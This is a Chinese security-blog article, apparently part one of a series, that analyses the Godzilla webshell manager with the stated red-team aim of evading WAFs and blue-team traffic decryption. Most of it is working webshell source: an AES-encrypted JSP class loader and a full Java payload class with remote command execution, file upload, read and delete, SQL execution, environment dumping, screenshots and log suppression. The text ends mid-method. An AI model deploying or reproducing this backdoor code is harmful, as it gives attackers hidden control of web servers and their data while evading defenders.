freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Godzilla哥斯拉修改版(上) 分析篇
2021-05-20 17:24:52

Godzilla哥斯拉修改版(上) 分析篇

前言

哥斯拉(Godzilla)是一款国内流行且优秀的红队 webshell 权限管理工具,使用 java 开发的可视化客户端,shell 支持 java、php、asp 环境,通信流量使用 AES 算法加密,具有文件管理、数据库操作、命令执行、内存马、隧道反弹等后门功能。
具体介绍见:护网礼盒:哥斯拉 Godzilla shell 管理工具 BeichenDream ChaBug

HVV 期间,各大厂商的 waf 不断,在静态查杀、流量通信等方面对 webshell 进行拦截,经过安全厂商对流行黑客工具的持续关注,已有众多产品可以对哥斯拉默认通信流量进行识别或拦截,并且蓝队应急溯源小组在获取到后门文件硬编码密钥后,可结合全流量日志系统对所有操作进行解密还原,导致红队攻击行动一览无余。

经过分析工具源码逻辑,流量类安全产品底层检测原理,加解密原理后,产生了进一步的对抗思路,为缓解了以上困境,对工具二次修改实际测试验证了可行性。

0x00 哥斯拉源码分析

反编译 Godzilla-V2.96.jar得到源码

目录结构

目录结构
.
├── core
│   ├── annotation 注解方法
│   ├── imp 接口定义
│   ├── shell 后门对象
│   └── ui 展示界面相关代码
├── org
│   ├── jb2011 界面美化皮肤库
│   └── sqlite sqlite库
├── shells
│   ├── cryptions 加密
│   ├── payloads 负载
│   └── plugins 插件
└── util 工具方法

文件描述
.
├── core
│   ├── ApplicationConfig.java  对比jar文件哈希值,检查版本更新
│   ├── ApplicationContext.java  程序初始化,字体、http头配置,加载有效载荷、加密器、插件
│   ├── Db.java  本地sqlite存储配置、shell连接等
│   ├── Encoding.java  支持网站多种字符编解码
│   ├── ProxyT.java  获取代理
│   ├── annotation 注解方法
│   │   ├── CryptionAnnotation.java  加密器注解
│   │   ├── PayloadAnnotation.java  有效载荷注解
│   │   └── PluginnAnnotation.java  插件注解
│   ├── imp  接口定义
│   │   ├── Cryption.java
│   │   ├── Payload.java
│   │   └── Plugin.java
│   ├── shell
│   │   └── ShellEntity.java 后门对象类,保存的后门相关属性,连接前初始化准备
│   └── ui 展示界面相关代码
│       ├── MainActivity.java  主窗口,程序入口main
│       ├── ShellManage.java  进入shell后的操作窗口
│       ├── component 窗口展示组件
│       │   ├── DataTree.java  shell-文件管理-文件夹树形图
│       │   ├── DataView.java  多行表格展示控件
│       │   ├── GBC.java  页面布局
│       │   ├── RTextArea.java  文本框
│       │   ├── ShellBasicsInfo.java  shell-基础信息
│       │   ├── ShellDatabasePanel.java  shell-数据库
│       │   ├── ShellExecCommandPanel.java  shell-命令执行
│       │   ├── ShellFileManager.java  shell-文件管理
│       │   ├── ShellNote.java  shell-笔记
│       │   ├── ShellRSFilePanel.java  shell-文件管理-文件编辑
│       │   ├── dialog  对话框
│       │   │   ├── AppSeting.java  主窗口-程序配置,字体、header、核心配置
│       │   │   ├── DatabaseSetting.java  shell-数据库管理-数据库连接配置
│       │   │   ├── FileDialog.java  shell-文件管理-复制-源目的路径选择框
│       │   │   ├── GenerateShellLoder.java 主窗口-生成shell配置
│       │   │   ├── ImageShowDialog.java  更新提醒显示群二维码
│       │   │   ├── PluginManage.java  主窗口-插件配置
│       │   │   └── ShellSetting.java  主窗口-添加shell新连接的配置
│       │   ├── menu
│       │   │   └── ShellPopMenu.java  shell-命令执行,右键复制粘贴的菜单
│       │   └── model
│       │       ├── DbInfo.java  数据库连接信息的数据模型
│       │       └── FileOpertionInfo.java  复制文件的数据模型
│       ├── imp
│       │   └── ActionDblClick.java  双击动作的接口
│       └── model
│           ├── DatabaseSql.java  内置mysql/sqlserver查库名表名条数的语句
│           └── osType.java  定义操作系统枚举
├── org  第三方库
│   ├── jb2011  界面美化皮肤库JackJiang2011/beautyeye相关代码
│   └── sqlite  sqlite数据库相关代码
├── shells
│   ├── cryptions
│   │   ├── JavaAes
│   │   │   ├── Generate.java  生成shell文件
│   │   │   ├── JavaAesBase64.java  哥斯拉编解码base64格式的传输数据
│   │   │   ├── JavaAesRaw.java  哥斯拉编解码原始字节格式的传输数据
│   │   │   └── template
│   │   │       ├── base64Code.bin  shell内容 base64格式传输指令和回显
│   │   │       ├── base64GlobalCode.bin  shell内容 base64格式class加载器
│   │   │       ├── rawCode.bin  shell内容 原始字节传输指令和回显
│   │   │       ├── rawGlobalCode.bin  shell内容 原始字节class加载器
│   │   │       ├── shell.jsp  jsp后门生成模板
│   │   │       └── shell.jspx  jspx后门生成模板
│   │   ├── cshapAes
│   │   │   ├── CShapAesBase64.java
│   │   │   ├── CShapAesRaw.java
│   │   │   └── Generate.java
│   │   └── phpXor
│   │       ├── Generate.java
│   │       ├── PhpXor.java
│   │       └── PhpXorRaw.java
│   ├── payloads
│   │   ├── csharp
│   │   │   ├── CShapShell.java
│   │   │   └── assets
│   │   │       └── payload.dll
│   │   ├── java
│   │   │   ├── JavaShell.java
│   │   │   └── assets
│   │   │       └── payload.classs  给shell动态加载的类,运行相应指令
│   │   └── php
│   │       ├── PhpShell.java
│   │       └── assets
│   │           └── payload.php
│   └── plugins  高级功能插件
│       ├── cshap
│       │   ├── BadPotato.java
│       │   ├── CZip.java
│       │   ├── Lemon.java
│       │   ├── RealCmd.java
│       │   ├── SafetyKatz.java
│       │   ├── ShapWeb.java
│       │   ├── ShellcodeLoader.java
│       │   ├── SweetPotato.java
│       │   └── assets
│       │       ├── BadPotato.dll
│       │       ├── CZip.dll
│       │       ├── RevlCmd.dll
│       │       ├── SafetyKatz.dll
│       │       ├── SharpWeb.dll
│       │       ├── ShellcodeLoader.dll
│       │       ├── SweetPotato.dll
│       │       ├── lemon.dll
│       │       ├── meterpreterTip.txt
│       │       ├── reverse.bin
│       │       └── reverse64.bin
│       ├── java java后门插件
│       │   ├── EnumDatabaseConn.java
│       │   ├── JZip.java
│       │   ├── JarLoader.java
│       │   ├── MemoryShell.java
│       │   ├── Meterpreter.java
│       │   ├── RealCmd.java
│       │   ├── Screen.java
│       │   ├── ServletManage.java
│       │   └── assets
│       │       ├── AES_BASE64.classs
│       │       ├── AES_RAW.classs
│       │       ├── Behinder.classs  冰蝎
│       │       ├── Cknife.classs  CKnife
│       │       ├── JZip.classs  zip压缩
│       │       ├── JarLoader.classs  加载jar包
│       │       ├── Meterpreter.classs
│       │       ├── ReGeorg.classs
│       │       ├── RealCmd.classs
│       │       ├── ServletManage.classs  管理servlet路由
│       │       ├── ShellDriver.classs
│       │       ├── meterpreterTip.txt
│       │       └── mysql.jar
│       └── php
│           ├── ByPassOpenBasedir.java
│           ├── BypassDisableFunctions.java
│           ├── Meterpreter.java
│           ├── PZip.java
│           └── PhpEvalCode.java
└── util
    ├── JavaVersion.java  比较java版本
    ├── Log.java  输出日志
    ├── SystemUtils.java  工具类,系统版本路径等操作
    ├── automaticBindClick.java  绑定点击事件
    ├── functions.java  工具类 字节转换编码加密等
    └── http
        ├── Http.java  发送http请求
        ├── HttpResponse.java  读取http响应
        └── ReqParameter.java  http参数

其中有几个值得注意的目录和文件

配置生成 shell 界面逻辑core/ui/component/dialog/GenerateShellLoder.java
添加 shell 界面逻辑core/ui/component/dialog/ShellSetting.java
加密器代码shells/cryptions/javaAes
webshell 文件代码shells/cryptions/javaAes/template

后门生成流程

后门生成界面

core/ui/component/dialog/GenerateShellLoder.java绘制生成界面

generateButtonClick()方法中调用 ApplicationContext.getCryption(),根据选择的不同加密器和 payloady 动态获得对应的 Cryption 实例

动态选择实例是怎么实现的呢?
程序启动时,扫描/shells/cryptions/目录下的.class 文件动态加载,core/ui/MainActivity.java#main()MainActivity()core/ApplicationContext.java#init()scanCryption()
实现加密算法的类继承自 Cryption 类,并设置注解,标记加密器名字和使用的 payload 名
@CryptionAnnotation(Name = "JAVA_AES_BASE64", payloadName = "JavaDynamicPayload") public class JavaAesBase64 implements Cryption

带着界面上填写的密码密钥,传入 Cryption 实例 →generate()→ 同目录下的Generate.java#GenerateShellLoder()

从 resources 资源目录读取通用代码和 shell 代码,替换密码部分,用模板拼接在一起,生成最终的后门文件

后门生成逻辑代码:
后门生成逻辑代码

后门连接流程

新建后门连接界面

core/ui/component/dialog/ShellSetting.java绘制添加 shell 的界面

点击“测试连接”执行testButtonClick()core/shell/ShellEntity.java#initShellOpertion()

初始化shell连接

执行流程:

1、获取 payload 指令控制器,比如 JavaDynamicPayload 在shells/payloads/java/JavaShell.java,在这个对象中包含给 webshell 运行的动态 payloadshells/payloads/java/assets/payload.class

2、获取加密器实例,比如 JAVA_AES_RAW 在shells/cryptions/JavaAes/JavaAesRaw.java

3、初始化加密器,传入后门 URL,密码等上下文,给 shell 发送payload.class

4、初始化 payload 指令控制器,传入上下文数据

5、下发一个 test 指令,将参数methodName=test加密后发送请求,shell 加载的payload.class代码中实现一个 test 方法,执行后返回“ok”即为后门连接成功

下发指令请求代码逻辑:
下发指令请求

下发 test 指令代码:
下发test指令

0x02 原版 webshell 代码分析

通用工具代码 rawGlobalCode.bin

aes 加解密,base64 编解码

// AES密钥
String xc="{secretKey}";

// 通过字节动态加载class
class X extends ClassLoader{
    public X(ClassLoader z){
        super(z);
    }
    public Class Q(byte[] cb){
        return super.defineClass(cb, 0, cb.length);
    }
}

// AES加解密方法,参数m为true加密,false解密
public byte[] x(byte[] s,boolean m){
    try{
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
				// 密钥为 xc
        c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));
        return c.doFinal(s);
    }catch (Exception e){
        return null;
    }
}

// base64解码
public static byte[] base64Decode(String bs) throws Exception {
    Class base64;
    byte[] value = null;
    try {
        base64=Class.forName("java.util.Base64");
        Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
        value = (byte[])decoder.getClass().getMethod("decode", new Class[] {String.class }).invoke(decoder, new Object[] { bs });
    } catch (Exception e) {
        try {
            base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
        } catch (Exception e2) {}
    }
    return value;
}

webshell 代码 rawCode.bin

获取解密后的数据,动态加载 payload 字节码,执行后门功能指令。

try{
		// 创建一个byte数组,大小来自请求头中的Content-Length
    byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];
		// 获取post数据流
    java.io.InputStream inputStream= request.getInputStream();
		// 已读取的长度
    int _num=0;
		// 从post流逐字节读取,写入data数组
    while ((_num+=inputStream.read(data,_num,data.length))<data.length);
		// 对post内容进行AES解密
    data=x(data, false);

    if (session.getAttribute("payload")==null){
				// session中没有payload属性,代表第一次访问shell,传入数据当作payload加载,获取基础信息、命令执行、文件管理、数据库等功能的代码
				// 这里data是payload.class的内容
        session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));
    }else{
				// 已经加载过payload,此时请求当作调用payload
				// 将请求数据保存到parameters属性
        request.setAttribute("parameters", new String(data));
				// 从session中取出payload新建实例对象
        Object f=((Class)session.getAttribute("payload")).newInstance();
				// 将页面上下文对象传递给payload对象
				// 从请求属性中读取parameters
				// 请求不记录日志
        f.equals(pageContext);
				// 调用toString()时,根据传入的parameters参数中的指令触发payload执行
				// 解码base64字符串,加密后写入到响应体
        response.getOutputStream().write(x(base64Decode(f.toString()), true));
    }
}catch (Exception e){

}

shell 模版代码

由上面两部分拼接组合成完整的 webshell 文件

JSP:
<%!{globalCode}%><%{code}%>

JSPX:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"><jsp:declaration>{globalCode}</jsp:declaration><jsp:scriptlet>{code}</jsp:scriptlet></jsp:root>

java payload 功能代码

实现后门指令功能,例如:文件操作,数据库操作,获取环境信息,截屏,执行命令等

import javax.servlet.jsp.*;
import java.text.*;
import java.nio.charset.*;
import java.awt.*;
import java.io.*;
import javax.imageio.*;
import java.awt.image.*;
import java.sql.*;
import org.apache.catalina.core.*;
import java.lang.reflect.*;
import javax.servlet.http.*;
import java.util.*;

public class payload extends ClassLoader
{
    public final char[] toBase64;
    PageContext pageContext;
    HashMap praameterMap;

    public payload() {
        this.toBase64 = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
        this.praameterMap = new HashMap();
    }

    public payload(final ClassLoader loader) {
        super(loader);
        this.toBase64 = new char[] { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' };
        this.praameterMap = new HashMap();
    }

    public static void main(final String[] args) {
        final payload payload = new payload();
        System.out.println(new String(payload.base64Decode(payload.base64Encode(new String(payload.getBasicsInfo())))));
    }

    public Class g(final byte[] b) {
        return super.defineClass(b, 0, b.length);
    }

    public byte[] run() {
				// 获得参数中的类名称
        final String className = this.get("evalClassName");
				// 获得参数中的方法名称
        final String methodName = this.get("methodName");
        if (methodName != null) {
						// 没有类参数
            if (className == null) {
                try {
										// 从当前类中获取方法
                    final Method method = this.getClass().getMethod(methodName, (Class<?>[])null);
										// 方法返回类型必须是byte[]
                    if (method.getReturnType().isAssignableFrom(byte[].class)) {
												// 调用方法
                        return (byte[])method.invoke(this, (Object[])null);
                    }
                    return "this method returnType not is byte[]".getBytes();
                }
                catch (Exception e) {
                    return e.getMessage().getBytes();
                }
            }
            try {
								// 从会话属性中获取类
                final Class evalClass = (Class)this.pageContext.getSession().getAttribute(className);
                if (evalClass != null) {
										// 实例化
                    final Object object = evalClass.newInstance();
										// 通过equals方法传递页面上下文
                    object.equals(this.pageContext);
										// 通过toString方法执行调用
                    return this.base64Decode(object.toString());
                }
                return "eval class is null".getBytes();
            }
            catch (Exception e) {
                final String message = e.getMessage();
                return ((message == null) ? "java.lang.NullPointerException" : message).getBytes();
            }
        }
        return "method is null".getBytes();
    }

		// 格式化参数
    public void formatParameter() {
				// 从页面请求属性中获得shell写入的参数
        String parameterString = (String)this.pageContext.getRequest().getAttribute("parameters");
				// 再拼接一个参数,增加兼容
        parameterString = String.valueOf(parameterString) + "&ILikeYou=" + this.base64Encode("metoo");
				// 先按&分割
        final String[] parameters = parameterString.split("&");
				// 依次遍历参数(格式aa=bbb)
        for (int i = 0; i < parameters.length; ++i) {
            final String onePraameter = parameters[i];
						// 搜索“=”字符
            final int index = onePraameter.indexOf(61);
            if (index != -1) {
                try {
										// 得到参数名称
                    final String name = onePraameter.substring(0, index).trim();
										// 得到参数值
                    final String value = onePraameter.substring(index + 1, onePraameter.length());
										// 转成Map类型
                    this.praameterMap.put(name, this.base64Decode(value));
                }
                catch (Exception ex) {}
            }
        }
				// 存储在请求上下文的属性中
        this.pageContext.getRequest().setAttribute("parameters", (Object)this.praameterMap);
    }

		// 重写object对象的equals方法
    @Override
    public boolean equals(final Object obj) {
        if (obj != null && PageContext.class.isAssignableFrom(obj.getClass())) {
						// 页面上下文
            this.pageContext = (PageContext)obj;
						// 格式化参数
            this.formatParameter();
						// 不记录日志
            this.noLog(this.pageContext);
            return true;
        }
        return false;
    }

		// 重写object的toString方法
    @Override
    public String toString() {
				// 调用run,根据参数动态选择对应的方法执行
        final String returnString = new String(this.base64Encode(this.run()));
				// 清空参数属性
        this.pageContext.getRequest().setAttribute("parameters", (Object)null);
        return returnString;
    }

		// 从参数属性Map中获取值
    public String get(final String key) {
        try {
            return new String(this.praameterMap.get(key));
        }
        catch (Exception e) {
            return null;
        }
    }

		// 从参数属性Map中获取值
    public byte[] getByteArray(final String key) {
        try {
            return this.praameterMap.get(key);
        }
        catch (Exception e) {
            return null;
        }
    }

		// 测试方法,用于客户端的“测试连接”功能
    public byte[] test() {
        return "ok".getBytes();
    }

		// 后门功能:获取目录中文件列表
    public byte[] getFile() {
				// 从参数中获取要打开的目录
        String dirName = this.get("dirName");
        if (dirName != null) {
            dirName = dirName.trim();
            String buffer = new String();
            try {
								// 目录绝对路径
                final String currentDir = new File(dirName).getAbsoluteFile() + "/";
								// 目录中的文件列表
                final File[] files = new File(currentDir).listFiles();
                buffer = String.valueOf(buffer) + "ok";
                buffer = String.valueOf(buffer) + "\n";
                buffer = String.valueOf(buffer) + currentDir;
                buffer = String.valueOf(buffer) + "\n";
                for (int i = 0; i < files.length; ++i) {
                    final File file = files[i];
                    try {
												// 获取文件名、是否为目录、最后修改时间、文件大小、读写权限
                        buffer = String.valueOf(buffer) + file.getName();
                        buffer = String.valueOf(buffer) + "\t";
                        buffer = String.valueOf(buffer) + (file.isDirectory() ? "0" : "1");
                        buffer = String.valueOf(buffer) + "\t";
                        buffer = String.valueOf(buffer) + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(file.lastModified());
                        buffer = String.valueOf(buffer) + "\t";
                        buffer = String.valueOf(buffer) + Integer.toString((int)file.length());
                        buffer = String.valueOf(buffer) + "\t";
                        final String fileState = String.valueOf(file.canRead() ? "R" : "") + (file.canWrite() ? "W" : "");
                        buffer = String.valueOf(buffer) + ((fileState == null || fileState.trim().length() == 0) ? "F" : fileState);
                        buffer = String.valueOf(buffer) + "\n";
                    }
                    catch (Exception e) {
                        buffer = String.valueOf(buffer) + e.getMessage();
                        buffer = String.valueOf(buffer) + "\n";
                    }
                }
            }
            catch (Exception e2) {
                return "dir does not exist ".getBytes();
            }
            return buffer.getBytes();
        }
        return "No parameter dirName".getBytes();
    }

		// 后门功能:获取系统盘符
    public String listFileRoot() {
        final File[] files = File.listRoots();
        String buffer = new String();
        for (int i = 0; i < files.length; ++i) {
            buffer = String.valueOf(buffer) + files[i].getPath();
            buffer = String.valueOf(buffer) + ";";
        }
        return buffer;
    }

		// 后门功能:读取文件内容
    public byte[] readFile() {
        final String fileName = this.get("fileName");
        if (fileName != null) {
            final File file = new File(fileName);
            try {
                if (file.exists() && file.isFile()) {
                    final byte[] data = new byte[(int)file.length()];
                    if (data.length > 0) {
                        int readOneLen = 0;
                        final FileInputStream fileInputStream = new FileInputStream(file);
                        while ((readOneLen = fileInputStream.read(data, readOneLen, data.length - readOneLen)) != -1) {}
                        fileInputStream.close();
                    }
                    return data;
                }
                return "file does not exist".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter fileName".getBytes();
    }

		// 后门功能:上传文件
    public byte[] uploadFile() {
        final String fileName = this.get("fileName");
        final byte[] fileValue = this.getByteArray("fileValue");
        if (fileName != null && fileValue != null) {
            try {
                final File file = new File(fileName);
                file.createNewFile();
                final FileOutputStream fileOutputStream = new FileOutputStream(file);
                fileOutputStream.write(fileValue);
                fileOutputStream.close();
                return "ok".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter fileName and fileValue".getBytes();
    }

		// 后门功能:新建文件
    public byte[] newFile() {
        final String fileName = this.get("fileName");
        if (fileName != null) {
            final File file = new File(fileName);
            try {
                if (file.createNewFile()) {
                    return "ok".getBytes();
                }
                return "fail".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter fileName".getBytes();
    }

		// 后门功能:新建目录
    public byte[] newDir() {
        final String dirName = this.get("dirName");
        if (dirName != null) {
            final File file = new File(dirName);
            try {
                if (file.mkdirs()) {
                    return "ok".getBytes();
                }
                return "fail".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter fileName".getBytes();
    }

		// 后门功能:删除文件
    public byte[] deleteFile() {
        final String dirName = this.get("fileName");
        if (dirName != null) {
            try {
                final File file = new File(dirName);
                this.deleteFiles(file);
                return "ok".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter fileName".getBytes();
    }

		// 后门功能:移动文件
    public byte[] moveFile() {
        final String srcFileName = this.get("srcFileName");
        final String destFileName = this.get("destFileName");
        if (srcFileName != null && destFileName != null) {
            final File file = new File(srcFileName);
            try {
                if (!file.exists()) {
                    return "The target does not exist".getBytes();
                }
                if (file.renameTo(new File(destFileName))) {
                    return "ok".getBytes();
                }
                return "fail".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter srcFileName,destFileName".getBytes();
    }

		// 后门功能:复制文件
    public byte[] copyFile() {
        final String srcFileName = this.get("srcFileName");
        final String destFileName = this.get("destFileName");
        if (srcFileName != null && destFileName != null) {
            final File srcFile = new File(srcFileName);
            final File destFile = new File(destFileName);
            try {
                if (srcFile.exists() && srcFile.isFile()) {
                    final FileInputStream fileInputStream = new FileInputStream(srcFile);
                    final FileOutputStream fileOutputStream = new FileOutputStream(destFile);
                    final byte[] data = new byte[5120];
                    int readNum = 0;
                    while ((readNum = fileInputStream.read(data)) > -1) {
                        fileOutputStream.write(data, 0, readNum);
                    }
                    fileInputStream.close();
                    fileOutputStream.close();
                    return "ok".getBytes();
                }
                return "The target does not exist or is not a file".getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter srcFileName,destFileName".getBytes();
    }

		// 后门功能:动态加载类
    public byte[] include() {
        final byte[] binCode = this.getByteArray("binCode");
        final String className = this.get("codeName");
        if (binCode != null && className != null) {
            try {
                final payload payload = new payload(this.getClass().getClassLoader());
                this.pageContext.getSession().setAttribute(className, (Object)payload.g(binCode));
                return "ok".getBytes();
            }
            catch (Exception e) {
                if (this.pageContext.getSession().getAttribute(className) != null) {
                    return "ok".getBytes();
                }
                return e.getMessage().getBytes();
            }
        }
        return "No parameter binCode,codeName".getBytes();
    }

		// 后门功能:执行命令
    public byte[] execCommand() {
        final String cmdLine = this.get("cmdLine");
        if (cmdLine != null) {
            try {
                Process process;
                if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
                    process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", cmdLine });
                }
                else {
                    process = Runtime.getRuntime().exec(cmdLine);
                }
                String result = "";
                final InputStream inputStream = process.getInputStream();
                final InputStream errorInputStream = process.getErrorStream();
                final BufferedReader br = new BufferedReader(new InputStreamReader(inputStream, Charset.forName(System.getProperty("sun.jnu.encoding"))));
                final BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorInputStream, Charset.forName(System.getProperty("sun.jnu.encoding"))));
                for (String disr = br.readLine(); disr != null; disr = br.readLine()) {
                    result = String.valueOf(String.valueOf(result)) + disr + "\n";
                }
                for (String disr = errorReader.readLine(); disr != null; disr = br.readLine()) {
                    result = String.valueOf(String.valueOf(result)) + disr + "\n";
                }
                return result.getBytes();
            }
            catch (Exception e) {
                return e.getMessage().getBytes();
            }
        }
        return "No parameter cmdLine".getBytes();
    }

		// 后门功能:获取系统基本信息
    public byte[] getBasicsInfo() {
        try {
            final Enumeration<Object> keys = ((Hashtable<Object, V>)System.getProperties()).keys();
            String basicsInfo = new String();
            basicsInfo = String.valueOf(basicsInfo) + "FileRoot : " + this.listFileRoot() + "\n";
            basicsInfo = String.valueOf(basicsInfo) + "CurrentDir : " + new File("").getAbsoluteFile() + "/" + "\n";
            basicsInfo = String.valueOf(basicsInfo) + "CurrentUser : " + System.getProperty("user.name") + "\n";
            basicsInfo = String.valueOf(basicsInfo) + "DocBase : " + this.getDocBase() + "\n";
            basicsInfo = String.valueOf(basicsInfo) + "RealFile : " + this.getRealPath() + "\n";
            try {
                basicsInfo = String.valueOf(basicsInfo) + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "\n";
            }
            catch (Exception e) {
                basicsInfo = String.valueOf(basicsInfo) + "OsInfo : " + e.getMessage() + "\n";
            }
            while (keys.hasMoreElements()) {
                final Object object = keys.nextElement();
                if (object instanceof String) {
                    final String key = (String)object;
                    basicsInfo = String.valueOf(basicsInfo) + key + " : " + System.getProperty(key) + "\n";
                }
            }
            final Map<String, String> envMap = this.getEnv();
            if (envMap != null) {
                for (final String key2 : envMap.keySet()) {
                    basicsInfo = String.valueOf(basicsInfo) + key2 + " : " + envMap.get(key2) + "\n";
                }
            }
            return basicsInfo.getBytes();
        }
        catch (Exception e2) {
            return e2.getMessage().getBytes();
        }
    }

		// 后门功能:截屏
    public byte[] screen() {
        try {
            final Robot robot = new Robot();
            final BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
            final ByteArrayOutputStream bs = new ByteArrayOutputStream();
            ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs));
            final byte[] data = bs.toByteArray();
            bs.close();
            return data;
        }
        catch (Exception e) {
            return e.getMessage().getBytes();
        }
    }

		// 后门功能:执行SQL
    public byte[] execSql() {
        final String dbType = this.get("dbType");
        final String dbHost = this.get("dbHost");
        final String dbPort = this.get("dbPort");
        final String dbUsername = this.get("dbUsername");
        final String dbPassword = this.get("dbPassword");
        final String execType = this.get("execType");
        final String execSql = this.get("execSql");
        if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) {
            try {
                try {
                    Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
                }
                catch (Exception ex) {}
                try {
                    Class.forName("oracle.jdbc.driver.OracleDriver");
                }
                catch (Exception ex2) {}
                try {
                    Class.forName("com.mysql.cj.jdbc.Driver");
                }
                catch (Exception e2) {
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                    }
                    catch (Exception ex3) {}
                }
                try {
                    Class.forName("org.postgresql.Driver");
                }
                catch (Exception ex4) {}
                String connectUrl = null;
                if ("mysql".equals(dbType)) {
                    connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true";
                }
                else if ("oracle".equals(dbType)) {
                    connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort;
                }
                else if ("sqlserver".equals(dbType)) {
                    connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";";
                }
                else if ("postgresql".equals(dbType)) {
                    connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/";
                }
                if (dbHost.indexOf("jdbc:") != -1) {
                    connectUrl = dbHost;
                }
                if (connectUrl != null) {
                    try {
                        final Connection dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword);
                        final Statement statement = dbConn.createStatement();
                        if (execType.equals("select")) {
                            String data = "ok\n";
                            final ResultSet resultSet = statement.executeQuery(execSql);
                            final ResultSetMetaData metaData = resultSet.getMetaData();
                            final int columnNum = metaData.getColumnCount();
                            for (int i = 0; i < columnNum; ++i) {
                                data = String.valueOf(data) + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "\t";
                            }
                            data = String.valueOf(data) + "\n";
                            while (resultSet.next()) {
                                for (int i = 0; i < columnNum; ++i) {
                                    data = String.valueOf(data) + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "\t";
                                }
                                data = String.valueOf(data) + "\n";
                            }
                            resultSet.close();
                            statement.close();
                            dbConn.close();
                            return data.getBytes();
                        }
                        final int affectedNum = statement.executeUpdate(execSql);
                        statement.close();
                        dbConn.close();
                        return ("Query OK, " + affectedNum + " rows affected").getBytes();
                    }
                    catch (Exception e) {
                        return e.getMessage().getBytes();
                    }
                }
                return ("no " + dbType + " Dbtype").getBytes();
            }
            catch (Exception e2) {
                return e2.getMessage().getBytes();
            }
        }
        return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes();
    }

		// 后门功能:获取环境变量
    public Map<String, String> getEnv() {
        try {
            final int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3));
            if (jreVersion >= 5) {
                try {
                    final Method method = System.class.getMethod("getenv", (Class<?>[])new Class[0]);
                    if (method != null && method.getReturnType().isAssignableFrom(Map.class)) {
                        return (Map<String, String>)method.invoke(null, (Object[])null);
                    }
                    return null;
                }
                catch (Exception e) {
                    return null;
                }
            }
            return null;
        }
        catch (Exception e2) {
            return null;
        }
    }

		//
    public String getDocBase() {
        try {
            final Field contextField = this.pageContext.getServletContext().getClass().getDeclaredField("context");
            contextField.setAccessible(true);
            try {
                Class.forName("org.apache.catalina.core.ApplicationContext");
                Class.forName("org.apache.catalina.core.StandardContext");
                final ApplicationContext o = (ApplicationContext)contextField.get(this.pageContext.getServletContext());
                final Field field = o.getClass().getDeclaredField("context");
                field.setAccessible(true);
                final StandardContext standardContext = (StandardContext)field.get(o);
                return standardContext.getDocBase();
            }
            catch (Exception e) {
                return e.getMessage();
            }
        }
        catch (Exception e2) {
            return e2.getMessage();
        }
    }

		// 获取url对应物理路径
    public String getRealPath() {
        try {
            return this.pageContext.getServletContext().getRealPath(((HttpServletRequest)this.pageContext.getRequest()).getRequestURI());
        }
